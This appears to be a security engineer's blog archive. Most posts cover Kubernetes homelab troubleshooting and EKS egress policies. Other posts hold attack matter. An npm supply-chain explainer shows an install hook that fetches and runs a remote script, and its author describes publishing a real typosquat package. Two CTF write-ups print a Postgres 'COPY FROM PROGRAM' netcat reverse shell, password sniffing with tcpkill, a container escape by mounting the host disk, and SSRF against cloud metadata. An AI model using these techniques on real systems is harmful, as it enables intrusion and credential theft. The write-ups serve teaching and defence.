zerodaywolf

Fixing NAT Hairpinning in k3s with Tailscale

Fri, 29 May 2026 18:00:00 +0530

Services in my k3s cluster were painfully slow when accessed over Tailscale. Curling a service took 17s from a tailnet client and 60s from the controlplane.

problem

Source	Time	Notes
tailnet client	17s	Via Tailscale tunnel
controlplane	60s	NAT hairpin: exits and re-enters cluster

My setup: k3s cluster with ingress-nginx exposed to the Tailnet via a Tailscale LoadBalancer IP. External-DNS watches Ingress objects and creates A records in PiHole pointing all *.k3s.mydomain.com hostnames to this IP.

root cause

NAT hairpinning caused by DNS.

In-cluster pods use CoreDNS, which forwards external queries to PiHole (the upstream DNS). PiHole returns 100.x.x.x - the Tailscale LoadBalancer IP. So even traffic originating inside the cluster exits via Tailscale, traverses the tunnel, and re-enters the cluster to hit ingress-nginx.

broken path (NAT hairpin):
 pod → 100.x.x.x → tailscale tunnel → back into cluster → ingress-nginx → backend

correct path:
 pod → ingress-nginx ClusterIP → backend

The controlplane was worst at 60s because it had to NAT hairpin through its own Tailscale interface.

solution

Split-horizon DNS using CoreDNS’s rewrite plugin.

k3s supports a coredns-custom ConfigMap in kube-system. Files with .override extension get injected into the main .:53 server block. I added a rewrite rule that intercepts *.k3s.mydomain.com queries and resolves them to the ingress-nginx ClusterIP directly - before they ever reach PiHole.

apiVersion: v1
kind: ConfigMap
metadata:
 name: coredns-custom
 namespace: kube-system
data:
 custom-zone.override: |
 rewrite stop {
 name regex (.+)\.k3s\.mydomain\.com ingress-nginx-controller.ingress-nginx.svc.cluster.local
 answer name ingress-nginx-controller\.ingress-nginx\.svc\.cluster\.local (.+)\.k3s\.mydomain\.com
 }

how it works

Pod queries app.k3s.mydomain.com
The rewrite plugin rewrites the query to ingress-nginx-controller.ingress-nginx.svc.cluster.local
The kubernetes plugin (already in the .:53 block) resolves it to the current ClusterIP
The answer name directive rewrites the response back so the client sees app.k3s.mydomain.com
The HTTP Host header is still app.k3s.mydomain.com, so ingress-nginx routes correctly

No hardcoded IPs. If the ingress-nginx ClusterIP changes, the kubernetes plugin picks it up automatically.

why `.override` and not `.server`

Files with .server extension create a separate CoreDNS server block. That block doesn’t have the kubernetes plugin, so you’d need to either hardcode the ClusterIP (fragile) or forward queries back to kube-dns (extra hop). .override injects into the existing block that already has the kubernetes plugin loaded.

why not the `template` plugin

The template plugin can synthesize DNS responses, but it requires a literal IP address in the config. If the ingress-nginx Service is ever recreated, the ClusterIP changes and the config breaks. The rewrite approach resolves dynamically.

verification

# in-cluster: should return ingress-nginx ClusterIP, not 100.x.x.x
kubectl run dnstest --rm -it --image=busybox --restart=Never -- nslookup app.k3s.mydomain.com

# tailnet client: should still return 100.x.x.x
dig app.k3s.mydomain.com

# latency from controlplane
curl -o /dev/null -w "%{time_total}\n" -sk https://app.k3s.mydomain.com/

Latency from the controlplane dropped from 60s to 0.003s. The worker node, which doesn’t have Tailscale, was already at 0.04s since it couldn’t resolve the external hostname and was never affected.

The tailnet client is still at 17s. The CoreDNS rewrite only fixes in-cluster resolution; external clients still go through the Tailscale tunnel. That turned out to be a second, unrelated problem (see below).

the tailnet client: cilium eating tailscale0

Fixing the hairpin left the tailnet client untouched at 17s. I initially guessed DERP relay overhead, but that was wrong. Turns out it was my CNI.

Cilium, when its devices option is unset, auto-detects every network interface and attaches its eBPF datapath to it. The agent logs at startup told the whole story:

kubectl -n kube-system logs ds/cilium -c cilium-agent | grep "Devices changed"

msg="Devices changed" devices="[ens18 tailscale0]"
msg="Setting IPv4" device=tailscale0 gso_max_size=65536 gro_max_size=65536

Two things jumped out. Cilium had grabbed tailscale0 alongside the physical NIC ens18, and was applying BIG TCP to it: gso/gro=65536, i.e. 64 KB segmentation/receive offload. The Tailscale tunnel has a 1280-byte MTU. Pushing 64 KB offload onto a 1280-MTU interface causes segmentation and PMTU stalls, which explains the multi-second drag.

One thing worth knowing: kubectl logs ds/cilium only returns logs from a single pod of the DaemonSet. To check every node I looped over them:

for p in $(kubectl -n kube-system get pods -l k8s-app=cilium -o name); do
 echo "$p"; kubectl -n kube-system logs $p -c cilium-agent | grep "Devices changed"
done

Only the node running Tailscale had [ens18 tailscale0]; the others just showed [ens18]. The symptom tracked the Tailscale-hosting node exactly.

solution

Pin Cilium’s datapath to the physical NIC so it never touches tailscale0:

# cilium helm values
devices: ens18

Got the interface name straight from the same logs (device=ens18 in the node-address and direct-routing lines), so no shell access needed. Pod traffic still goes through eBPF; only tailscale0 host traffic is left on the native kernel stack. This matches Tailscale’s documented Cilium guidance and tailscale/tailscale#12393.

the gotcha that cost me a round-trip

Setting devices updates the cilium-config ConfigMap, but the running agents don’t auto-reload it; they read it once at startup. My first attempt looked like nothing changed because the agents had restarted ~2 minutes before the new config synced. The fix was correct, the agents needed to be reloaded post-fix. Comparing pod start time against ConfigMap update time made it obvious:

kubectl -n kube-system get cm cilium-config -o jsonpath='{.metadata.managedFields[*].time}' # config landed at 18:05
kubectl -n kube-system get pods -l k8s-app=cilium -o custom-columns='POD:.metadata.name,START:.status.startTime' # pods started 18:02

A kubectl rollout restart ds/cilium (briefly disruptive since it’s the CNI) made it stick. After that, every node reported devices=[ens18] and BIG TCP was only applied to ens18.

result

Source	Before	After
tailnet client (3.2 MB asset)	17s	0.31s
cilium devices	`[ens18 tailscale0]`	`[ens18]`

~55x improvement, finally in line with in-cluster speeds. Two separate bugs (DNS hairpinning and Cilium grabbing the tunnel interface) wearing the same “slow over Tailscale” costume.

rollback

CoreDNS auto-reloads when the ConfigMap changes, so rollback is instant:

kubectl delete cm coredns-custom -n kube-system

Cilium Node Taints After k3s Restart Caused by Clock Skew

Fri, 29 May 2026 12:00:00 +0530

After restarting k3s, all nodes got stuck with node.cilium.io/agent-not-ready:NoSchedule taints. Cilium agents were in CrashLoopBackOff, the operator couldn’t remove taints, and nothing would schedule.

problem

After a k3s server restart, Cilium agents crashed with Unauthorized when contacting the API server. The API server logs showed:

"Unable to authenticate the request"
 err="[invalid bearer token, service account token is not valid yet]"

“not valid yet” - the tokens were correctly signed, but timestamped in the future.

root cause

The Proxmox host’s hardware clock (RTC) had been reset during PSU repairs. It was storing local time (UTC+05:30) while the system was configured to read the RTC as UTC. This created a 5h30m offset on every boot.

16:30 IST system boots, reads RTC value "11:00" as UTC, thinks it's 16:30 IST
16:30 IST k3s starts, issues service account tokens timestamped at 16:30 IST
11:01 IST NTP syncs, clock jumps backward 5h30m to 11:01 IST
11:01 IST API server rejects all tokens: "not valid yet" (they say 16:30)

Every pod started before the NTP correction held a future-dated token. Not just Cilium - CoreDNS, metrics-server, and the Cilium operator were all affected.

why it got stuck

Cilium agents have a 60-second timeout for the initial API server connection. After 60s of rejections, the agent crashes. Kubernetes applies exponential backoff (up to 5 min). Each restart reuses the same pod with the same bad token. Self-recovery takes hours.

The Cilium operator (not agents) is responsible for removing node taints. The operator also held a bad token, so even after agents recovered, taints stayed:

"Failed to patch node while removing taint" error=Unauthorized

solution

immediate fix

Delete all pods holding bad tokens to force fresh ones:

kubectl delete pod -n kube-system -l k8s-app=cilium
kubectl delete pod -n kube-system -l name=cilium-operator
kubectl delete pod -n kube-system -l k8s-app=kube-dns

New pods came up within 30 seconds with correctly-timestamped tokens.

permanent fix

Manually set the correct UTC time in the Proxmox host’s BIOS/UEFI. The hardware clock holds the value across reboots. Don’t bother with timedatectl.

timedatectl set-time didn’t work even on the host. With chrony running, systemd rejects manual time changes, so you’d need to timedatectl set-ntp false first. But even then, it would only fix the running system clock. On the next reboot the host reads the RTC again before NTP corrects anything, and NTP was broken anyway: Tailscale overwrites /etc/resolv.conf, so chrony couldn’t resolve any NTP server hostnames. The BIOS change was the right fix, after which I fixed the Tailscale DNS with --accept-dns=false.

debugging trail

Set k8sServiceHost to bypass ClusterIP - didn’t help. Cilium connected to the API server directly but still got Unauthorized. Not a routing problem.
Checked RBAC - service accounts, ClusterRoleBindings all intact. kubectl worked fine from the node.
Deleted a stuck pod - fresh pod came up healthy in 22 seconds. Proved the problem was specific to pods that existed during the restart.
Agents healthy but taints persisted - discovered the operator (not agents) manages taint removal, and it also held a bad token.
Disproved signing key rotation theory - both service.key and service.current.key had identical md5 hashes. k3s does NOT rotate keys on restart.
Found “not valid yet” in API server logs - time-based rejection, not signature-based.
Found the clock jump - journalctl --boot -u systemd-timesyncd showed a 5h30m backward jump when NTP synced. 5h30m is exactly UTC+05:30 (IST). The RTC had been storing local time (IST) while the system was reading it as UTC, so every boot added 5h30m to the system clock until NTP corrected it.

DNS-Based Egress Control in EKS Using Application Network Policies

Tue, 16 Dec 2025 01:40:58 +0530

AWS recently upgraded its EKS network policies to include Admin Policies and Application Network Policies. If you work with EKS, your reaction was probably something like: FINALLY.

In this post, we’ll focus on Application Network Policies.

what does it do?

Application Network Policies (APN) let you restrict pod egress based on domain names. In simple terms: you explicitly whitelist the domains your pods can talk to, and everything else is blocked.

If you’ve used Calico or Cilium then you probably know what I’m talking about. The reason as to why I’m talking about it is that lots of companies go with the default EKS VPC CNI for their production workloads and up until now there was no straightforward way to restrict egress traffic based on domain names. You were limited to the standard L3/L4 network policies. The latest update changes that.

prerequisites

Before you start creating APNs and wonder why nothing works (which happened to me), make sure you have the following:

An EKS cluster with Auto Mode enabled
kubectl configured with your cluster

Enable the Network Policy Controller

apiVersion: v1
kind: ConfigMap
metadata:
 name: amazon-vpc-cni
 namespace: kube-system
data:
 enable-network-policy-controller: "true"

Save the above YAML as np-controller.yaml and apply it with kubectl:

kubectl apply -f np-controller.yaml

Enable Network Policies in the Node Class

Update your Node Class configuration to enable network policies.

apiVersion: eks.amazonaws.com/v1
kind: NodeClass
metadata:
 name: network-policy-enabled
spec:
 # Enables network policy support
 networkPolicy: DefaultAllow
 # Optional: Enables logging for network policy events
 networkPolicyEventLogs: Enabled
 # Include other Node Class configurations as needed

Save the YAML as my-nodeclass.yaml and apply it:

kubectl apply -f my-nodeclass.yaml

Make sure your NodePool config references your NodeClass.

applying the Network Policies

You apply an ApplicationNetworkPolicy with the domains (FQDNs) you want your pods to be able to talk to, and everything else is blocked, including DNS.

apiVersion: networking.k8s.aws/v1alpha1
kind: ApplicationNetworkPolicy
metadata:
 name: nginx-egress
 namespace: default
spec:
 podSelector:
 matchLabels:
 run: nginx
 policyTypes:
 - Egress
 egress:
 - to:
 - domainNames:
 - "github.com"
 - "api.github.com"
 ports:
 - protocol: TCP
 port: 443

Note: DNS based policies are supported only in EKS Auto Mode clusters.

It’s ideal to allow DNS at the cluster level with the new Admin Policies, but for the sake of simplicity here’s a namespace-level policy that allows DNS:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
 name: allow-dns
 namespace: default
spec:
 podSelector:
 matchLabels:
 run: nginx
 policyTypes:
 - Egress
 egress:
 - to:
 - namespaceSelector:
 matchLabels:
 kubernetes.io/metadata.name: kube-system
 ports:
 - protocol: UDP
 port: 53
 - protocol: TCP
 port: 53

You can apply both by running the kubectl apply command.

kubectl apply -f allow-github.yaml
kubectl apply -f allow-dns.yaml

…and that’s it. Your pods can’t reach anything other than github.com and api.github.com.

behind the scenes

If you’re interested in what happens under the hood, AWS has explained it beautifully in this article. I’ll explain it quickly over here:

The DNS policy is applied
The Network Policy Controller detects the policy and tells the AWS node agent to allow DNS requests only for the allowed domains (github.com)
The pod (or an app running in the pod) asks for the IP of npmjs.com and github.com
These requests are sent through a proxy
The request for npmjs.com gets blocked
The request for github.com is allowed
The DNS request for github.com passes through the DNS filter allowlist and is proxied through CoreDNS
CoreDNS recursively resolves the IP from a DNS server
The IP and its TTL are returned in the DNS response. They are then stored in an eBPF map (key-value store).
eBPF probes (programs) attached to the pod’s network interface enforce egress filtering at the IP layer.
IP validity is tied to the DNS TTL and automatically expires

why this matters

If a pod is compromised:

It can’t call home
It can’t download malware
It can’t exfiltrate secrets

Even rogue dependencies are restricted to explicitly allowed domains.

This is a huge step forward for supply-chain and workload security on EKS.

my Youtube channel!

That’s right! I created a youtube channel and posted my first short video on this :) Feel free to go and check it out!

Hacking the World with NPM Lifecycle Hooks

Sun, 07 Sep 2025 01:40:58 +0530

Few developers realize how much control a package author has after you hit enter. Let’s look at a quick scenario:

Luke is a developer who likes to try out open source libraries
He comes across an article that tells him to install react using npm
Luke (like me) prefers typing to copy-pasting.. a sometimes not-so-useful habit he will soon regret
in a hurry to install react and build cool projects, he opens up his terminal and types in the command:

npm install reeact

npm pulls the package from the public npm registry and sets it up in his environment
Luke goes on to use react and build projects
Hours later, he notices his entire /home/luke directory has been encrypted except for a ransom note file

The above example may sound very simple, yet it is one of the most common supply chain attacks employed by adversaries.

So, what actually happened? It’s simple, Luke installed a malicious dependency which ran arbitrary code once it was downloaded. A single extra “e” was all it took. This is what’s called a typosquatting attack and it’s incredibly effective.

You might have heard of “domain squatting” where a threat actor registers domains which are just typos of popular domains, like faecbook.com or gamil.com, and hosts malware on top of them. It’s the same, but for open source packages! The reason this is so widespread is because our brain does not read every letter by itself, but the word as a whole, so it is naturally a very enticing vector for attackers.

npm-install lifecycle

When npm install <package> is run, there’s a whole lifecycle that it goes through to pull the package and set it up in your environment as a dependency. Here’s what happens in a nutshell:

npm queries the registry for the package with the latest tag by default
npm downloads the tarball from the public npm registry (unless registry is already set in .npmrc)
the tarball is extracted to node_modules
npm reads the package.json and resolves each of the transitive dependencies similarly
Depending on the package.json, a set of lifecycle hooks are run
The package-lock.json is updated

hooks

Step 5 is where things get interesting. There exist certain special lifecycle hooks (basically scripts) that run only at specified stages of the npm install process:

preinstall
install
postinstall

The cool/dangerous thing is that the package publisher may choose what those scripts contain! For example, here’s a noisy package.json that is sure to light up every scanner and its grandmother:

{
 "name": "my-tools",
 "version": "1.0.0",
 "scripts": {
 "install": "echo \"Running custom install step\" && curl -o harmless.sh http://random-ip/a && sh harmless.sh"
 }
}

The above script runs during installation. Similarly preinstall and postinstall are executed before and after the install.

publishing a look-alike package for research

A few months ago, curious to see how it would work in practice I published a package with a name similar to one released by a prominent organization. While it contained the original source code of the legit package, it also had something extra: an install hook that sent a ping to a public websocket. Mind you, all I wanted to see was how often people made mistakes and how many of these mistakes were part of CI pipelines. To my surprise within 5 minutes I received over 20 hits! I realized how fragile the npm ecosystem is.

I was waiting for the package to be flagged as malicious, but it never happened. After a while, I removed it myself. I’d assumed no scanner found the script to be malicious because all it did was send a HTTP GET request.. but I was unsatisfied with that theory.

Now this was just some package that was abandoned for almost four years. I shudder to think what the risk looks like for actively maintained projects.

data exfiltration and persistence

Once there’s code execution on the machine, there are a gazillion ways to persist/elevate access. Writing to shell config files, editing the PATH environment variable, overwriting other npm modules are just a few.

A more common tactic involves malware that exfiltrates secrets and private keys from workstations, servers, and CI/CD runners and then using these secrets to gain access to entire organization repositories or popular packages. The recent attack on the nx package used a similar postinstall hook that scanned the entire file system for credentials and uploaded them to a new Github repository on the affected user’s account called s1ngularity or s1ngularity-repository. The script even leveraged LLMs like Claude, Q and Gemini via CLI.

This has been going on for over a decade now with packages like eslint, eslint-plugin-prettier, synckit also being affected in the past. The malware referenced by these lifecycle scripts is usually obfuscated, encoded or encrypted to prevent detection.

prevention

Always ensure you’re verifying the scripts in the package.json before pulling.
Use --ignore-scripts while testing new packages
Avoid pulling packages that were:
- published less than 72 hours ago
- Have a single owner/maintainer
- Had less than 300 downloads over the last week
Pin the dependency’s version in your package-lock.json and avoid pulling the latest tag.
If you are part of an organization, using a proxy like Verdaccio for the NPM registry with an allowlist is recommended.

Bootstrapping k3s with ArgoCD, Cilium, and MetalLB

Sat, 06 Sep 2025 01:40:58 +0530

For a long time I ran a vanilla Kubernetes cluster (kubeadm) as a single-node setup on my HP Elitedesk 800 G2 SFF running Debian. It got the job done, but the hardware always felt under-utilized, and I wanted a more realistic, production-like environment to experiment with high availability, scaling, and needed better resource usage.

Cut to last weekend: I finally installed Proxmox (something Sujeeth has been nudging me to do for ages), and my homelab instantly felt like it had levelled up! VNets, snapshots, easy VM management… I was pumped!

Access Setup

My goal was to replace that lonely single-node with a lightweight, multi-node k3s cluster. Fun fact: In a K3s cluster, you won’t spot separate pods for the API server, kube-proxy, or kube-controller-manager in kube-system. Why? Because k3s packs them all into a single tiny binary!

My setup consisted of:

one control plane node
two worker nodes

All three VMs lived inside an isolated Proxmox VNet, so there was no direct way to reach them, and I really didn’t feel like dealing with port forwarding or performing unnecessary wireguard gymnastics. So I did what any sleep-deprived, sane person would do at 2.30 AM, so I installed Tailscale on the control plane. From there, I could hop into the worker nodes via SSH whenever I needed. That extra access was purely for convenience during setup, because, honestly, I’ll take SSH over clunky VNC any day.

k3s installation (1 server, 2 agents)

k3s ships with Traefik by default, but I’m more comfortable managing nginx, and since I plan to move toward Gateway API later, it didn’t make sense to invest effort in a setup I’d eventually replace.

I’d worked with Calico before and found it solid, but I always wanted to try Cilium because of its eBPF-powered approach to networking and security. This was a good time to make the switch.

curl -sfL https://get.k3s.io | INSTALL_K3S_EXEC='--flannel-backend=none --disable=traefik --disable-network-policy' sh -

The k3s install was pretty much straightforward, albeit not without its own quirks. At first, the agents couldn’t resolve K3S_URL https://controlplane:6443 during bootstrap, so I fell back to the node’s IP:

# didn’t work
curl -sfL https://get.k3s.io | K3S_URL=https://controlplane:6443 K3S_TOKEN=mynodetoken sh -

# worked
curl -sfL https://get.k3s.io | K3S_URL=https://192.168.1.10:6443 K3S_TOKEN=mynodetoken sh -

Once that clicked, the cluster was alive! Well almost.

Cilium for Networking Fun

Installing the cilium CLI was painless: I grabbed the latest version, verified the checksums, dropped the binary into /usr/local/bin, and got rolling:

CILIUM_CLI_VERSION=$(curl -s https://raw.githubusercontent.com/cilium/cilium-cli/main/stable.txt)

CLI_ARCH=amd64

if [ "$(uname -m)" = "aarch64" ]; then CLI_ARCH=arm64; fi

curl -L --fail --remote-name-all https://github.com/cilium/cilium-cli/releases/download/${CILIUM_CLI_VERSION}/cilium-linux-${CLI_ARCH}.tar.gz{,.sha256sum}

sha256sum --check cilium-linux-${CLI_ARCH}.tar.gz.sha256sum

sudo tar xzvfC cilium-linux-${CLI_ARCH}.tar.gz /usr/local/bin

rm cilium-linux-${CLI_ARCH}.tar.gz{,.sha256sum}

cilium status --wait

cilium install --version 1.18.1 --set=ipam.operator.clusterPoolIPv4PodCIDRList="10.42.0.0/16"

Seeing cilium status finally go green was a rush, pod networking was setup!

ArgoCD & GitOps Bliss

ArgoCD setup was smooth. I hooked it to my GitOps repo and went with an App of Apps pattern.

.
├── apps
│ ├── Chart.yaml
│ ├── templates
│ │ └── applications.yaml
│ └── values.yaml
├── cert-manager
│ └── clusterissuer.yml
├── clip
│ └── clip.yaml
├── external-dns
│ └── externaldns.yaml
├── metallb
│ └── config.yaml
├── vaultwarden
│ ├── Chart.yaml
│ ├── templates
│ │ ├── deployment.yaml
│ │ ├── _helpers.tpl
│ │ ├── ingress.yaml
│ │ ├── NOTES.txt
│ │ ├── pvc.yaml
│ │ ├── pv.yaml
│ │ ├── service.yaml
│ │ └── tests
│ │ └── test-connection.yaml
│ └── values.yaml
└── ytdlp-webui
 └── ytdlp-webui.yaml

The cool part? Most of my apps were Helm charts from public repos. That meant I didn’t have to manually create tons of directories; almost everything was handled through the root values.yaml in my main app. Super tidy and easy to manage!

Here’s what the applications.yaml looked like:

{{- range .Values.applications }}
{{- $config := $.Values.config -}}
apiVersion: argoproj.io/v1alpha1
kind: Application
metadata:
 name: {{ .name | quote }}
 namespace: argocd
spec:
 destination:
 namespace: {{ .namespace | default .name | quote }}
 server: {{ $config.spec.destination.server | quote }}
 project: default
 source:
 chart: {{ .chart }}
 path: {{ .path | quote }}
 repoURL: {{ .repoURL }}
 targetRevision: {{ .targetRevision }}
 {{- with .tool }}
 {{- . | toYaml | nindent 4 }}
 {{- end }}
 syncPolicy:
 syncOptions:
 - CreateNamespace=true
 automated:
 prune: true
 selfHeal: true
---
{{ end -}}

and here’s a snippet of the values.yaml:

config:
 spec:
 destination:
 server: https://kubernetes.default.svc
 source:
 targetRevision: master

applications:
 - name: metallb
 repoURL: https://metallb.github.io/metallb
 chart: metallb
 namespace: metallb-system
 targetRevision: 0.15.2
 tool:
 helm:
 releaseName: metallb
 - name: cert-manager
[..SNIP..]

I connected my Git repo in ArgoCD, spun up the root app, enabled auto-sync, and then just sat back as the apps rolled themselves out. Watching everything come to life automatically was immensely satisfying.

Ingress & Load Balancing Magic

Without a cloud provider, Kubernetes marks Service.status.loadBalancer.ingress with every node IP (messy).

This is normal on bare-metal Kubernetes: with no cloud load balancer, the service reports every node as a potential entry point. But it confused my DNS automation (ExternalDNS+Pihole). I needed something better.

Enter MetalLB. Following the guide, I configured Layer-2 mode (docs). Suddenly, Services of type LoadBalancer got a single, clean IP. Goodbye multi-IP chaos!

Edit: A few days after sharing this blog, a Linkedin user pointed out that I could use Cilium instead of MetalLB as the load balancer. Turns out MetalLB was used by Cilium in it’s own CI/CD pipelines before they decided to have less dependencies on other components and rolled out their own native Loadbalancer IPAM solution within Cilium in v1.13. Hence, I was able to replace it with the following IP pool:

apiVersion: "cilium.io/v2"
kind: CiliumLoadBalancerIPPool
metadata:
 name: "pool"
spec:
 blocks:
 - cidr: "100.x.x.y/32"

Tailnet Integration

Since I access the services over Tailscale, I installed the Tailscale operator to bring the cluster onto my Tailnet. After that, it was mostly housekeeping:

Expose the two critical services on my Tailnet: DNS and the load balancer
Configure split-DNS for my domain and point the tailnet’s nameservers to Pi-hole, so tailnet clients resolve internal services cleanly without ever touching my LAN’s resolver.
Configure metallb to hand out its Tailscale IP to the LoadBalancer service (ingress-nginx)

apiVersion: metallb.io/v1beta1
kind: IPAddressPool
metadata:
 name: default
 namespace: metallb-system
spec:
 addresses:
 - 100.x.x.y-100.x.x.y
 autoAssign: true
---
apiVersion: metallb.io/v1beta1
kind: L2Advertisement
metadata:
 name: default
 namespace: metallb-system
spec:
 ipAddressPools:
 - default

With everything in place, I synced all the applications, and that was it. The cluster services I needed were instantly reachable from any client in my tailnet.

Wrapping It Up

Going from single-node kubeadm to multi-node K3s has been an absolute blast. My homelab finally feels alive, and pushing updates is so much easier now with GitOps keeping everything in sync automatically. MetalLB plus Tailscale makes the cluster accessible without ugly reverse proxies, and Cilium lets me tinker with the wild powers of eBPF!

Contain Me If You Can - The Ultimate Cloud Security Championship

Fri, 01 Aug 2025 12:20:00 +0530

We have a shell inside a container. We check the established connections:

root@container:~# netstat
Active Internet connections (w/o servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 c04d7498020d:47748 postgres_db.:postgresql ESTABLISHED
tcp 0 0 c04d7498020d:54216 postgres_db.:postgresql ESTABLISHED
Active UNIX domain sockets (w/o servers)
Proto RefCnt Flags Type State I-Node Path

There’s one to a host postgres_db , which (based on the output of arp -a) is another container:

root@container:/# arp -a
postgres_db.user_db_network (172.19.0.2) at 02:42:ac:13:00:02 [ether] on eth0

There must be some application that’s running which created this connection. Let’s check the processes:

root@container:~# ps aux
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.0 2696 992 ? Ss 03:01 0:00 sleep infinity
root 6 0.0 0.3 4588 3988 pts/0 Ss 03:01 0:00 bash
root 902 0.0 0.3 7888 3980 pts/0 R+ 04:52 0:00 ps aux

Nothing? It’s probably being run in a different process namespace (i.e. a different container or the host).

Let’s see if there’s any traffic on this connection:

root@container:/# tcpdump -A port 5432
07:42:13.737304 IP 2a97544bda27.39682 > postgres_db.user_db_network.postgresql: Flags [P.], seq 1:20, ack 1, win 501, options [nop,nop,TS val 1427675159 ecr 1317731888], length 19
E..G..@................8....Bp8?....Xe.....
U...N..0Q....SELECT now();.
07:42:13.737874 IP postgres_db.user_db_network.postgresql > 2a97544bda27.39682: Flags [P.], seq 1:90, ack 20, win 509, options [nop,nop,TS val 1317736572 ecr 1427675159], length 89
E.....@..............8..Bp8?........X......
N..|U...T......now...................D...'......2025-08-02 07:42:13.737742+00C....SELECT 1.Z....I
07:42:13.737886 IP 2a97544bda27.39682 > postgres_db.user_db_network.postgresql: Flags [.], ack 90, win 501, options [nop,nop,TS val 1427675159 ecr 1317736572], length 0

The traffic is unencrypted (insecure defaults!) and there appears to be a couple of queries running every 5 seconds. It could be scheduled via a cron. This means we are on the right track!

Maybe if we try to break this connection, we could see something interesting? There are a couple of ways to go about doing this:

Using scapy
tcpkill

Using tcpkill is the easiest way.

root@2ec90dab9eee:/# tcpkill -i eth0 -9 port 5432
^Z
root@2ec90dab9eee: bg %1 # to background the task
root@2ec90dab9eee:/# tcpdump -A
09:13:02.318439 IP 2ec90dab9eee.54270 > postgres_db.user_db_network.postgresql: Flags [P.], seq 9:70, ack 2, win 502, options [nop,nop,TS val 37975253 ecr 3799587605], length 61
E..q.M@................8.... .......X......
.Ct..y.....=....user.user.database.mydatabase.application_name.psql..
09:13:02.319155 IP postgres_db.user_db_network.postgresql > 2ec90dab9eee.54270: Flags [P.], seq 2:11, ack 70, win 509, options [nop,nop,TS val 3799587605 ecr 37975253], length 9
E..=J.@...X..........8.. ...........X[.....
.y...Ct.R........
09:13:02.319180 IP 2ec90dab9eee.54270 > postgres_db.user_db_network.postgresql: Flags [P.], seq 70:100, ack 11, win 502, options [nop,nop,TS val 37975253 ecr 3799587605], length 30
E..R.N@....+...........8.... .......Xp.....
.Ct..y..p....[REDACTED PASSWORD].

As I suspected, the process tries to re-connect once the connection gets terminated. We find the password to the Postgres DB… AND the db name. Now we have the required details to connect to the DB:

DB: mydatabase
Password: [REDACTED]
User: user

root@2ec90dab9eee:/# psql -h postgres_db -U user -d mydatabase
Password for user user:
psql (16.9 (Ubuntu 16.9-0ubuntu0.24.04.1), server 16.8)
Type "help" for help.

mydatabase=#

Logged in!

For arbitrary command execution we can throw a reverse shell to our first container (do remember to background the psql process and start a Netcat listener using nc -nlvp <PORT> ) -

CREATE TABLE shell(output text);
COPY shell FROM PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.19.0.2 1337 >/tmp/f';

Ncat: Connection from 172.19.0.2:39309
/bin/sh: can't access tty; job control turned off
~/data $ id

Got the reverse shell. Successfully moved laterally! Now to get out of the container and onto the host.

We see that we have a shell as postgres user.

~/data $ id
uid=70(postgres) gid=70(postgres) groups=10(wheel),70(postgres)

sudo -l shows that we can run sudo without getting a password prompt on all binaries.

~/data $ sudo -l
Matching Defaults entries for postgres on 032c93ff87db:
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for postgres:
 Defaults!/usr/sbin/visudo env_keep+="SUDO_EDITOR EDITOR VISUAL"

User postgres may run the following commands on 032c93ff87db:
 (ALL) NOPASSWD: ALL

Looking into our process’s capabilities we see that it has all dangerous capabilities (SYS_MODULE,SYS_ADMIN, SYS_PTRACE..).

$ capsh --print
[.. SNIP .. ]
cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
[.. SNIP ..]

Let’s exploit SYS_ADMIN by mounting /dev/vda to /mnt and checking the file system.

$ mount /dev/vda /mnt
$ ls /mnt
ls /mnt
bin
boot
dev
etc
flag
home
lib
lib32
lib64
libx32
lost+found
media
mnt
opt
overlay
proc
rom
root
run
sbin
srv
sys
tmp
usr
var

It works and we can cat the flag at /flag.

$ cat /mnt/flag
WIZ_CTF{REDACTED}

Perimeter Leak - The Ultimate Cloud Security Championship

Sat, 05 Jul 2025 12:20:00 +0530

initial discovery

The message in the console:

You've discovered a Spring Boot Actuator application running on AWS: curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com
{"status":"UP"}

Running the curl gives us a basic welcome message.

The earlier message did talk about the application being a Spring Boot Actuator. From the documentation:

Spring Boot includes a number of additional features to help you monitor and manage your application when you push it to production. You can choose to manage and monitor your application by using HTTP endpoints or with JMX. Auditing, health, and metrics gathering can also be automatically applied to your application.

There must be some endpoints that such an application would expose by default. After a little bit of digging I found a few that looked interesting:

/actuator/env - Application runtime environment information
/actuator/mappings - Application's request mappings

Let’s see if these are left public.

exploring actuator endpoints

Querying them gave me some useful information:

curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/env | jq .

Bucket: challenge01-470f711

If you recall the description of the challenge, it indicates that we are looking for an s3 bucket which contains our flag!

Let’s use the aws cli to list the objects in this bucket:

It’s a private bucket. We need credentials.

Looking at the other actuator endpoint:

curl https://ctf:88sPVWyC2P3p@challenge01.cloud-champions.com/actuator/mappings | jq '.'

It appears we have found the proxy application’s endpoint - /proxy which accepts a parameter url. Looks like we got ourselves an SSRF.

Let’s check if the proxy is actually working by checking the IP.

This is interesting. The SSRF works, but the proxy only accepts IPs and requests to *.amazonaws.com.

exploiting ssrf against IMDSv2

Since the author mentioned that the application is running on AWS, let’s hit the IMDS endpoint 169.254.169.254 to see if we can fetch the temporary access credentials.

Ah, a 401! This probably means IMDSv2 is enabled. Luckily for us, the previous message said that the proxy passed along headers and request types from the original request. This means we can still exploit the SSRF to gain unauthorized access to the AWS account. Here’s a great blog on that - https://www.yassineaboukir.com/blog/exploitation-of-an-SSRF-vulnerability-against-EC2-IMDSv2/.

The PUT request to get the metadata token:

All consequent requests to the IMDS endpoint are sent with the x-aws-ec2-metadata-token header:

